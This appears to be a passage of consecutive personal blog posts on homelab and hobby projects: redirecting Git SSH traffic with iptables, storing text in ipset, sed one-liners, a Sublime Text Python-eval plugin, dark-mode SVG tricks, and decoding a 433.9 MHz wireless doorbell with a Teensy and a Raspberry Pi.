Without the resource constraints, I decided to go with a GitLab installation. It can replace all four applications mentioned before: it operates as a Docker Registry, as multiple Package Registries (and Composer is among them), and Jenkins can be replaced with GitLab CI. Maybe my life would be easier this way (nope).

The problem

SSH is an old piece of furniture. It doesn't have such fancy accessories as the SNI support for TLS. There's no easy way to have a proxy or load balancer-like application that can route incoming connections based on specific criteria (like the target host of the connection) to different backend applications. It's a huge problem for us because the server already has an SSH server on port 22, and the Git server running in Docker would also want to start an SSH server on port 22. If that's not available, it could bind to port 2022, for example, but that would transform this:

$ git clone git@git.example.com:group-name/repository-name.git

Into this:

$ git clone ssh://git@git.example.com:2022/group-name/repository-name.git

Alternatively, we could create a .ssh/config similar to this on every machine we want to clone repositories:

.ssh/config

Host git.example.com
    Port 2022

Not a big issue, but I didn't want to make this compromise. Certainly, there are other solutions, like the article the Gogs Docker image documentation mentions, but that also feels too hacky to me.

The solution?

Then I got an idea. I don't know why exactly now. This migration project was on pause for quite a while. We could assign multiple IP addresses to the machine, the host SSH could listen on one of the IP addresses, and the Git SSH could listen on the other IP address, both on port 22.

$ host example.com
example.com has address 192.168.0.23
$ host git.example.com
git.example.com has address 192.168.0.24

Such elegance, such beauty. I immediately started working on the implementation. First, I needed a second IP address. On a local network, it's not a big issue. Even if the machine doesn't have an extra network adapter, it could be solved. My host machine runs Debian, so I needed to do the following things:

/etc/network/interfaces

auto enp3s0:0
iface enp3s0:0 inet dhcp

auto enp3s0:1
iface enp3s0:1 inet static
  address 192.168.0.24
  netmask 255.255.255.0

As you can see, a network adapter can have multiple IP addresses. It gets the first one from the good old DHCP server from the router (based on the MAC address, it's also a fixed IP address), and the second one is a static one the machine sets to itself. One little change in the host SSH config and we are good to go:

/etc/ssh/sshd_config

ListenAddress 192.168.0.23

Now we can switch to the Docker side of things. Although it wouldn't be necessary, and it doesn't make much sense, I passed the connection through Traefik. This way, it is the one and only entry point in Docker.

traefik.yaml

version: "3.2"
services:
  traefik:
    image: traefik:v2.7.0
    command:
      - "--entrypoints.gitssh.address=:22"
    ports:
      - target: 22
        host_ip: 192.168.0.24
        published: 22
        protocol: tcp
        mode: host
    deploy:
      mode: global

These are just the relevant parts. The complete config looks a lot like what we created in a previous post. Unfortunately, this first try ended up with an error that it could not recognize the host_ip key, so I changed it to the - 192.168.0.24:22:22 short format, and that was good enough for it.

Everything works. I started a Gogs server to test it out. I could clone a repository and push back some data. Everything was awesome. Until I closed my host SSH connection to the server. I simply couldn't reconnect. It looked like the Git SSH was running on the other IP address as well. But that's impossible, right? We just told them to listen on a single IP address.

I needed to take a technical break until I found a VGA cable and an unused keyboard to restore my proper SSH connection with the server. I also managed to find out with a manual run of docker stack deploy that binding to an IP address was ignored in my config, but Portainer didn't share this irrelevant piece of information with me.

After some research, I even found a Github issue that says that Swarm services can only bind to 0.0.0.0.

It looked like I had to throw my beautiful solution into the trash. Of course, I could run the Git server outside of Swarm, but that's like running it on port 2022, and I couldn't allow that.

The solution!

After a couple days, I got another idea. We will listen on port 2022. I know it sucks, but let me finish. If we get a connection on address 192.168.0.24 on port 22, we could redirect it to port 2022. We only need the following two iptables rules for that:

# iptables -t nat -I PREROUTING 1 -d 192.168.0.24/32 -p tcp -m tcp --dport 22 -j REDIRECT --to-port 2022
# iptables -A INPUT -i enp3s0 -p tcp -m tcp --dport 2022 -j ACCEPT

A slight drawback is that the Git SSH server is accessible on port 2022 too, but we may allow this bit of compromise here. There is nothing left to do but install and set up the GitLab server and migrate all the old data and processes into it. That wasn't a walk in the park either, but I may tell that story another time.

One night laying on my back watching the ceiling sleeplessly, I had strange thoughts. Using ipset, we can store IP addresses (and some other things) which can later be used to simplify our iptables rules.

But what is an IP address, if not 4 bytes of random data? At least for IPv4. So, in theory, we could take a longer text, convert it to IP addresses and store it in ipset, making it a generic key-value store.

What real-world application would this have? Most probably nothing, but the idea sounded interesting enough to investigate some more. Maybe I can learn a thing or two from it.

Text to IP address

Let's start at the beginning. We have some good-looking text, and we want to transform it into IPv4 addresses.

'notebook'

First, we need to split it into 4-byte chunks because that's what we can store in an IP address.

['note', 'book']

Then we convert every character into a number.

[[110, 111, 116, 101], [98, 111, 111, 107]]

And at last, we join them together with dots to get the IP addresses.

['110.111.116.101', '98.111.111.107']

Funny little fact: the note belongs to a Chinese telecommunications company, and the book belongs to Verizon.

If the length of the text cannot be divided by four (Who would be such evil to write text like that?), then we fill the missing bits with zeros that we have to cut off when we convert the addresses back to text.

'pencil'
    => [112, 101, 110, 99, 105, 108]
        => ['112.101.110.99', '105.108.0.0']

Storing the IP addresses

Naturally, we will use ipset for that, but we can already suspect that we will have some complications by looking at the name. It's a set, so an IP address can be in it only once (we cannot store the gomugomu text), and the order of the members isn't guaranteed (perhaps we get back booknote instead of notebook).

By default, we can store 65536 IP addresses in an ipset, so we could use the first two bytes of an address (that's exactly 65536 different values) as a serial number, and the other two bytes will be the data. It solves both problems of sequence and uniqueness, but we halve the available storage.

Lucky for us ipset can store other things, not just IP addresses. For example, IP address and port pairs. And there are 65536 different ports. What a pleasant surprise. So, we can use the port as a serial number, and the address will be just for the data.

In practice, this is how it would look like to store the notebook value under the drawer key:

# ipset create drawer hash:ip,port
# ipset add drawer 110.111.116.101,0
# ipset add drawer 98.111.111.107,1
# ipset list drawer
Name: drawer
Type: hash:ip,port
Revision: 5
Header: family inet hashsize 1024 maxelem 65536
Size in memory: 216
References: 0
Number of entries: 2
Members:
98.111.111.107,tcp:1
110.111.116.101,tcp:0

Let's see some code

Converting back and forth won't be a big surprise. We already discussed the method earlier.

def text_to_ip(text: str) -> List[str]:
    parts = [str(c) for c in text.encode()]
    remainder = len(parts) % 4
    if remainder > 0:
        parts += ['0'] * (4 - remainder)

    addresses = []
    for i in range(0, len(parts), 4):
        addresses.append('.'.join(parts[i:i + 4]))

    return addresses

We convert the text into bytes and convert the individual bytes back to strings, so later, the join will work. Next, fill the missing bytes with zeros so the resulting length will be divisible by four, and at last, we make each group of fours into an IP address.

def ip_to_text(addresses: List[str]) -> str:
    text = []
    for addr in addresses:
        text += [chr(int(c)) for c in addr.split('.')]

    return ''.join(text).strip('\x00')

Converting it back to text is even easier. We just convert all parts of the IP address back to the corresponding character, join it back together into one long string, and cut off the zeroes from the end.

Storing the addresses could be a bit challenging. Of course, we could use the subprocess module to call the ipset command hundreds of times to save a single value, but it does not feel that elegant, let alone efficient.

We could use libipset shipped with ipset and the ctypes module of Python. It's a bit more complicated, but it's also ten times faster than using subprocess in this case.

First, we will need something to talk to the libipset library.

from ctypes import cdll, c_int, POINTER, c_char_p, CFUNCTYPE, c_void_p


class IpSet:
    __output = b''

    def __init__(self):
        self.__library = cdll.LoadLibrary('libipset.so.13')
        self.__library.ipset_load_types()
        self.__library.ipset_init.restype = POINTER(c_int)
        self.__ipset = self.__library.ipset_init()
        self.__library.ipset_custom_printf(
            self.__ipset,
            None, None, self.__ipset_print_outfn,
            None
        )

    def __del__(self):
        self.__library.ipset_fini(self.__ipset)

    def run(self, command: List[str]):
        IpSet.__output = b''
        command = ['ipset'] + command

        self.__library.ipset_parse_argv(
            self.__ipset,
            len(command),
            (c_char_p * len(command))(*[
                c_char_p(arg.encode()) for arg in command
            ])
        )

        return IpSet.__output

    @staticmethod
    @CFUNCTYPE(c_int, POINTER(c_int), c_void_p, c_char_p, c_char_p)
    def __ipset_print_outfn(session, p, fmt, outbuf):
        IpSet.__output += outbuf
        return 0

We need to load the library and call some functions on it, so it's appropriately initialized, and of course, we need to juggle with C types here, so there is "a bit" of extra code because of that, but at the end, we successfully run the command.

It wasn't an easy ride to come up with that class, it took a considerable amount of time, and I had to go through the documentation of ctypes, the relevant part of the source code of ipset, and of course, Google also helped a lot. In the end, I managed to glue together all the pieces without getting segmentation faults constantly. It works, but (considering my slight incompetence in this area) it might not be the perfect solution.

From this point, it's a smooth ride to write the client to our new key-value store.

import re


class IpSetKeyValueStore:
    def __init__(self, ipset: IpSet):
        self.__ipset = ipset
        self.__ip_pattern = re.compile(r'(\d+\.\d+\.\d+\.\d+),.*:(\d+)')

    def __del__(self):
        del self.__ipset

    def get(self, key: str) -> str:
        result = self.__ipset.run(['list', '-output', 'save', key])
        data = self.__ip_pattern.findall(result.decode('utf-8'))

        addresses = [ip for ip, _ in sorted(data, key=lambda x: int(x[1]))]
        return ip_to_text(addresses)

    def set(self, key: str, value: str) -> None:
        self.__ipset.run(['create', '-exist', key, 'hash:ip,port'])
        self.__ipset.run(['flush', key])

        i = 0
        for ip in text_to_ip(value):
            self.__ipset.run(['add', key, f'{ip},{i}'])
            i += 1

    def delete(self, key: str) -> None:
        self.__ipset.run(['destroy', key])

There are many ways to improve and extend this further. For example, ipset supports timeouts, so expiring keys can be easily added, or the storage capacity can be significantly increased using IPv6 addresses. I leave these as an exercise for the reader.

It is also worth mentioning that we could add a comment when we store an IP address, making it so much easier to store any data in the ipset. But where's the fun in that?

Sometimes you start to follow a thought and end up in unexpected places. When you find out not only that how deep is the rabbit hole, but you even start to dig extra tunnels.

A similar thing happened to me when I faced with the following problem: you have a file containing values separated with tab characters. The first row is the name of the columns. Something like this:

id  name  status  date  type
1 n1  s1  d1  t1
2 n2  s2  d2  t2
3 n3  s3  d3  t3

You need to get the values from the first column separated by spaces. For this example, this would be the result: 1 2 3. To ramp up the difficulty, we want to solve this in the command line and don't want to write a script. It had already had a solution also:

cat file.tsv | awk '(NR>1) { print $1 }'  |  tr '\n'  ' '

Although I'm also a big awk fan myself, this wasn't the first solution that came to my mind. But there is nothing wrong with that. In fact, this started me on the journey to find more alternative solutions.

Dissecting the problem

First, we should examine the task a little bit more. It can be divided into three parts:

1. get rid of the first row
2. get the first column from every row
3. transform the rows into a single row (where the values are separated with spaces)

Now that we have a couple of smaller tasks, we can look for solutions for each one of them separately.

Getting rid of the first row

awk '(NR>1) { print }'

A bit forced example based on the original solution. If we went this far with awk, we could go even farther, but we will jump back to this a little later.

sed 1d

This one I found while digging looks like a pretty elegant solution. It deletes the first line and returns everything back without change.

tail +2

The more well-known tail -1 command returns the input from the last row until the end. This one returns from the second row until the end.

Keeping only the first column

awk '{ print $1 }'

A classic awk solution. Not much to say about it.

cut -f1

My personal favorite. It's a bit dumber than awk (for example, handling multiple separator characters next to each other wouldn't work that well), but it's still useful in many cases.

sed 's/^\([^\t]\+\).*/\1/'

You can solve anything with sed. But why would you do that? It's a huge help that we need the first column. It could also help if we know that the id is numeric only.

Making one single row

paste -s -d' ' -

The right tool for this job. It's an excellent choice.

sed -n 'H;${g;y/\n/ /;p}'

Not as friendly as the previous one, and it generates an extra space character at the start of the line. We will go into much more detail later about what this line really means.

tr '\n'  ' '

This works nicely. The only drawback is that it replaces the last newline, so we end up with an extra space at the end of the line.

xargs

It's an odd choice. The xargs command creates parameters from rows and passes them to another one. The default command happens to be echo, so it does exactly what we want. However, it does not work if we need to separate the values with anything other than spaces.

Complex solutions

We already have 36 different solutions, but you wouldn't write something like awk '(NR>1) { print }' | awk '{ print $1 }'. Sometimes a tool can solve multiple subtasks at once:

awk '(NR>1) { print $1 }'

sed -n '1!s/^\([^ ]\+\).*\n/\1/p'

perl -F'\t' -e 'print "$F[0] " if $i > 0; $i++'

Can we find a tool that can solve the whole problem? There should be a simple sed command that does what we want, right? Digging just got real. I jumped deep down to the sed documentation for answers. I was horrified by the things this tool can make. Like it was a love child of awk and vi. But my efforts weren't in vain. At long last, I emerged from the depth with a command:

sed -n '1!{s/^\([^\t]\+\).*/\1/;H};${g;y/\n/ /;s/^ //;p}'

It's trivial, right? It should have been the first thing I thought of. I don't want to drag anyone down to the abyss we know as sed, but this command could use some explanation.

sed basics

sed uses commands. Every command has a <filter><command><parameter> format. It runs on every row of the input where the filter is true (it feels a lot like awk in this regard). We can give more than one command if we separate them with a semicolon. Multiple commands can belong to a filter also if we put them between { and }.

One more thing worth mentioning is "pattern space". Initially, it contains the current row, and the commands can write back their output into it. Also, there is something called a "hold space". We could save the "pattern space" content into the "hold space" and later load it back.

The details of the solution

Nothing left to do than dissect the original command:

sed -n '1!{s/^\([^\t]\+\).*/\1/;H};${g;y/\n/ /;s/^ //;p}'

The -n flag tells sed to not produce any output by default. The part after that can be split into two commands. We have a 1!{...} and a ${...} filter block. The first one runs on every row except the first row, and the second one only runs on the last row.

The first filter block runs two commands, an s, and an H. The s replaces the whole row with the value of the first column, and the H command adds the current content to the hold space separated by a new line.

The second filter block runs four commands. A g, a y, an s, and at last a p. The g gets the content of the hold space (values from the first column separated with newlines), the y replaces the newlines with whitespaces, next the s removes the extra space from the start of the value, the p prints the result and we are finally done.

Interestingly enough, if we try to use another tool (like awk or a Perl one-liner), we get more or less the same result. Maybe because these tools are working with rows so we need something where we can hold the partial result.

This marks the end of our little journey into sed-land. Lessons learned? Using proper tools to solve subtasks is more effective than solving the whole problem with one generic tool. Have a nice text processing.

Sublime is the text editor that is almost always running on my machine. A long time ago, it was the only editor I wrote code in. Nowadays, it's mostly some untitled files with messy notes, code snippets, half-written messages, or anything text-related.

I like to use it to transform text. For example, if I have a couple of lines and want to put every line between quotes or sort some lines alphabetically and concatenate the rows into one single comma-separated string, things like that. I even tend to copy text from my actual IDE, paste it into Sublime, transform it, and copy it back.

Of course, you could say that Vim (or Emacs) can do such things faster and more efficiently and be capable of many other things. But for me, the mouse-driven multi-cursor workflow fits better than Vim-magic. I know, I'm a weirdo.

Sometimes I run into problems that cannot be easily solved by Sublime. Situations where a quiet voice in the back of your head tells you that you should write a small script or at least open the REPL of your favorite scripting language.

Let's look at a simple example. You want to generate the list of numbers from 1 to 10, every number in its own line. Of course, the local Vim-magician would tell you that it's just a quick i 1 Esc q a Y p Ctrl+a q 8 @ a and you are done, but for me, this does not look like something that would come up in a real-world scenario.^[1]

Luckily Sublime supports plugins, and even more lucky that they choose a proper scripting language for it. There is nothing worse than when you like a program, you want to create plugins for it, and it turns out that you must use Perl.^[2]

Running the selection

My first idea was that I could create a command that runs the selected text as Python code and replaces it with the result:^[3]

eval.py

import sublime_plugin

class EvalSelectionsCommand(sublime_plugin.TextCommand):
  def run(self, edit):
    for region in self.view.sel():
      if region.empty():
        continue

      code = self.view.substr(region)
      result = str(eval(code))
      self.view.replace(edit, region, result)

Interestingly enough, this was the first time I had to use eval() in Python. Soon enough, I also learned that we were all of us deceived, for another eval() was made... called exec(). Yes, my Precious, the first one just evaluates expressions. Only the second one can be used to execute any kind of Python code. Sneaky little hobbitses. But let's not go that far ahead. First, we need to somehow run this command.

eval.sublime-command

[
  { "caption": "Run selection", "command": "eval_selections" }
]

Now we can select, for example, the '\n'.join(map(str, range(1, 11))) text, hit a Ctrl+Shift+p, search for the command and we are done. Somehow, it felt less comfortable than I had hoped for, but it could be capable of many things compared to the simplicity of the code.

Transforming the selection

Now, let's look at a different approach. What if the selection does not contain the code, but the code is working on the selections?

eval.py

import sublime_plugin

class EvalSelectionsCommand(sublime_plugin.TextCommand):
  def run(self, edit, text):
    for idx, region in enumerate(self.view.sel()):
      data = self.view.substr(region)
      result = str(eval(text, {'d': data, 'i': idx}, {}))
      self.view.replace(edit, region, result)

  def input(self, args):
    return sublime_plugin.TextInputHandler()

The eval() got a little bit more complex. We pass a couple of variables we can use later in our expression. This way, we could have ten empty rows, an empty selection in every row, run the command and write i+1 as the expression. Or, if the selections are not empty, we could write f'{i+1}. {d}' to prefix them with numbers.

A later iteration of this idea. The d variable name was changed to _, with a preview based on the first selection.

More clever execution

We can now jump back to the exec(). If we have the following small code snippet selected and try to run it...

for i in range(10):
  print(i+1)

...our first implementation would throw a SyntaxError: invalid syntax exception. So we need to make it a little smarter:

eval.py

import sublime_plugin
import traceback

from io import StringIO
from contextlib import redirect_stdout

class EvalSelectionsCommand(sublime_plugin.TextCommand):
  def run(self, edit):
    for region in self.view.sel():
      if region.empty():
        continue

      code = self.view.substr(region)
      self.view.replace(edit, region, self.__run_code(code))

  def __run_code(self, code):
    try:
      return str(eval(code))
    except Exception as e:
      try:
        return self.__exec_code(code)
      except Exception as e:
        return ''.join(traceback.format_exception(type(e), e, e.__traceback__))

  def __exec_code(self, code):
    f = StringIO()
    with redirect_stdout(f):
      exec(code)
    return f.getvalue()

We will try to run it first with eval(), and if that fails, we use exec(). It's a little tricky. If we didn't redirect the standard output, it would end up in the console of Sublime, and we wouldn't get the desired result.

As an added bonus, we also have better error handling in this one, so we don't have to check the console if something is wrong with the code we want to run. The code will be replaced with the error, but we can quickly get it back with Ctrl+z, of course.

A wealth of possibilities

There are many ways we could improve this little plugin-wannabe. Just a couple of ideas:

• the two mentioned approaches could be two different commands, different tools for different problems
• we can add aliases, shortcuts, and helper functions for often used functionalities to eval() or exec so we can use them in our code snippet
• output could be displayed in a separate window

But our broadcast time is coming to its end, so I have no other choice than leave the further investigation of the topic as an exercise for the reader.

Notes

1. ↑ There are more straightforward, shorter solutions, but this one felt the most Vim-like for me. More details here.

2. ↑ Just a childhood trauma. Don't really worry about it. A long-long time ago, I really liked the Irssi IRC client, but my brain couldn't handle Perl, so I wasn't able to write scripts for it.

3. ↑ Naturally, there are existing plugins for this, but where is the fun in that?

You may run into dark mode in more and more places nowadays, like in operating systems or even in browsers. This inspired me to create the dark variant of the site too.

The two color schemes next to each other

The development part was surprisingly easy. I only needed to add a media query and fill it with rules.

@media (prefers-color-scheme: dark) {
}

For the sake of simplicity, I just copied the original CSS into this block, removed everything not color-related, and adjusted the values in the rest. After that, the only remaining thing to fix was the images. So I made a dark variant of the header image, and for the SVG images, I used the following trick:

image.svg

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
  <style type="text/css"><![CDATA[
    .shape { display: none; }
    .shape:target { display: inline; }
  ]]></style>
  <g class="shape" id="light">
    <!-- source of the original image -->
  </g>
  <g class="shape" id="dark">
    <!-- source of the modified dark image -->
  </g>
</svg>

This can be referenced in CSS in the following way:

#something {
  background-image: url('image.svg#light');
}
@media (prefers-color-scheme: dark) {
  #something {
    background-image: url('image.svg#dark');
  }
}

It was pretty fun, so I highly recommend it to anyone as a light evening pastime activity.

In the last post, it was mentioned that you don't have to disassemble your indoor unit and resolder it. You can also build your own radio receiver. Today we will examine this option a bit more.

This approach is so far from hardware-hacking that we don't even need to take apart the device. In the product's technical specification, we can find all the information we need, like that it's sending the signals on 433.9 MHz. You can buy a 433.9 MHz receiver on your favorite Chinese webshop, I've chosen this model without any serious research, but luckily it worked well.

And now we wait a month or so for the package to arrive. In the meantime, we can take the doorbell apart and wire it up with a Raspberry Pi. :)

After the package arrived, we opened it with much excitement just to see that the antennas were not soldered into the modules, so we had to get the soldering iron out. Then I connected a LED to the data output of the receiver just to see if anything would happen if I pushed the doorbell.

It's worth checking out in the video that the LED blinks randomly at first, then we only see a slight, more orderly flickering, then a longer off state and a longer on state, and it goes back to the random blinking. So the signal that the outdoor unit sends could be the more orderly flickering with the longer off/on state. The rest of the noise is a bit concerning. There will be a lot of garbage we have to ignore.

More detailed analysis

It would be nice to see more precisely what's going on. We could hook up a logic analyzer to the data output. Maybe it could help to find some useful information. Luckily there are cheap Chinese models we could order (I went with this one, but there is a lot to choose from). Another month of waiting and we can continue with the project.

On my computer, I used PulseView to display the incoming data. Below you can see the signal for a doorbell button press.

It correlates nicely with our experience with the LED. The random parts are at the beginning and the end, the more orderly part in the middle that is closed by the long off/on state. Let's zoom into the more orderly part:

This is the part where we go from random to less random. It looks like the transmitter repeats the same pattern with small pauses around a hundred times.

If we zoom in a little bit more, we can identify two distinct patterns inside this repeating pattern. The first one is when a longer high state is followed by a shorter low state. We could name this binary one. The other is when a shorter high state is followed by a longer low state, which could be binary zero.

We couldn't be sure what these 17 bits meant. Maybe it's an identifier for the receiver, maybe the 17. bit is not part of the data, and it's the part of the separators between data packs. In this case, we have 16 bits, which sounds a lot better. The good news is that we don't really care about the meaning of the data. It's always the same for every button press, so we just need to match this meaningless pattern for our project.

The device

I tried to replace the indoor receiver with an Arduino Uno, but I couldn't get the same pattern out of it as the logic analyzer showed before. Maybe the hardware is too slow to handle such a dense signal, or I messed up something, but the point is that I switched to a Teensy 3.1, and things got a lot better.

Fortunately, my Arduino code didn't need a lot of change to run on the new hardware. First, I wrote a program to print out how long the signal is in the high and low states to the serial console.

unsigned long high_value = 0;
unsigned long low_value = 0;
unsigned long prev_time = 0;

void setup() {
  Serial.begin(9600);

  attachInterrupt(23, rising, RISING);
}

void loop() {}

void rising() {
  low_value = micros() - prev_time;
  prev_time = micros();

  Serial.print("H");
  Serial.print(high_value);
  Serial.print(", L");
  Serial.println(low_value);

  attachInterrupt(23, falling, FALLING);
}

void falling() {
  high_value = micros() - prev_time;
  prev_time = micros();

  attachInterrupt(23, rising, RISING);
}

It was pretty easy to spot the repeating pattern:

H631, L140
H632, L142
H630, L144
H242, L533
H626, L145
H629, L146
H239, L536
H239, L532
H627, L143
H627, L146
H239, L536
H238, L535
H240, L532
H627, L143
H241, L534
H241, L534
H626, L1683

It has some variance, but we can see the pattern for the binary ones and zeroes and the bigger pause after the last bit. Next, we need to replace the printing out to the detection of the ringing signal, and we are done:

const unsigned short target = 60612;
unsigned short value = 0;

void rising() {
  // [...]

  if (high_value >= 620 && high_value <= 640 && low_value >= 130 && low_value <= 150) {
    value = (value << 1) + 1;
  }
  else if (high_value >= 230 && high_value <= 250 && low_value >= 520 && low_value <= 550) {
    value = value << 1;
  }
  else if (low_value > 1500) {
    value = 0;
  }

  if (value == target) {
    Serial.println("Ding-dong");
  }

  // [...]
}

This works, but it has some naughtiness in it. For example we don't read the 17. bit (if it's part of the data what we don't know), it uses the longer pause after it to zero out the current value. But it's better this way because it wouldn't fit in a short.

Next is that it's a repeating pattern, so we get multiple "Ding-Dong" messages during a ringing. But not as many as we would need to get if we successfully matched every pattern. We can tweak the limits a little bit to have more freedom, or we could somehow detect the bigger gap between the patterns, but I leave this as an exercise to the reader.

If you are still not fed up with radio signals after this, then it could be an interesting project to create a custom transmitter as well. For example, creating your own doorbell button for your indoor unit or a universal button that sends every possible pattern and rings all the indoor units. :)

Of course, there are commercially available devices that could do that, but we could choose a different path and try to make the current doorbell smarter. I hope I don't have to stress that everybody does everything at their own risk, but below you can find my experience.

Ring me up

I have a similar doorbell than on the image above. On the left is the outdoor unit. It's a battery-powered button. On the right are the indoor units, which you can plug into a wall socket. I started the project by taking a closer look at the latter.

A later stage of the visual inspection

The two bigger holes at the center are where the two pins of the socket plug were attached. I had to solder them out to be able to peel off the casing from the PCB. It's even better this way. After I tinkered with it, I wouldn't want to plug it back into the wall. So our first item on the agenda is to find out how much voltage the components need and how I can provide it for them.

The voltage is dropping

To the left from the socket connection, there is an IC with the LP3773 A3DjC4 label (or maybe that j is an i, or just a scratch, it's hard to tell). I tried to find some information about that first. I found the datasheet of the LP3773A, and I hoped that the name was similar enough for it to be helpful. Unfortunately, most of it was written in Chinese, so I had a hard time deciphering it.

But at last, I found the relevant part, for an input voltage between 90V and 265V, its output voltage will be 5V. So next, we need a connection point.

My plan was to search for a couple of other components' datasheets and try to trace the "lines" until I found a suitable place. There is the antenna in the top right corner, and there is an IC near it that most likely will be in charge of the radio signal processing. Based on the 531R 1743 label and the little swirly logo, I guessed that the datasheet of Synoxo SYN531R would be good enough and found the following pinout there:

The GND and VDD connection right next to the ANT will be interesting for us. It's a single-layer PCB, so with some background light, we can follow them.

Let there be light

The GND connects into the nice big chunk above the IC, but we cannot see where the VDD goes. Checking it out from different angles, it looked like it goes under the IC and comes out on the left. In both cases, we end up on a connection point (marked as C09 on the PCB) which should hold a capacitor maybe. No worries, I soldered two cables into the two holes, plugged them into 5V, and lo and behold, the doorbell worked.

Looney Tunes

In its original state, our doorbell blinks and plays music when someone pushes the button. The LED is built right into the circuit, but the speaker is just dangling from the bottom of the PCB on two cables. There is another IC nearby we can look up. Based on the FR0396-E2 label, I found another Chinese datasheet with the required diagram.

The speaker is attached to the PWM1 and PWM2 pins, but we could connect it to a Raspberry Pi, for example. It couldn't handle PWM inputs, but we don't want to reproduce the melody from the signal. If something is changing there (because it starts to play a melody), then we want to know about it, and that's enough for our purposes.

Internet of Doorbells

It's nice that it works with 5V because this way, we can power it directly from the Raspberry Pi. I connected one of the speaker outputs to pin 23. We only need a little bit of Python code to handle the incoming rings.

import signal
import sys
import RPi.GPIO as GPIO

def signal_handler(sig, frame):
    GPIO.cleanup()
    sys.exit(0)

def button_pressed_callback(channel):
    print('Ding-dong')

if __name__ == '__main__':
    GPIO.setmode(GPIO.BCM)

    GPIO.setup(23, GPIO.IN, pull_up_down=GPIO.PUD_UP)

    GPIO.add_event_detect(23, GPIO.RISING, callback=button_pressed_callback, bouncetime=30000)

    signal.signal(signal.SIGINT, signal_handler)
    signal.pause()

Naturally, we can come up with something more clever than print('Ding-dong') when the button is pressed. Sending messages, turning relays on or off, or anything your heart desires. Vigilant readers may have noticed the unusually high bounce time of the event detection. We need that because the melody can be 10-15 seconds long, and we don't want to handle that as separate events.

That would be it. The smartening of a dumb wireless doorbell. I have plans to develop an alternate solution where we would use a generic radio signal receiver, so we don't have to take apart the indoor unit. Maybe in another post. Until then, have a good ringing.

Related materials

• LP3773A datasheet
• Synoxo SYN531R datasheet
• FR0396-E2 datasheet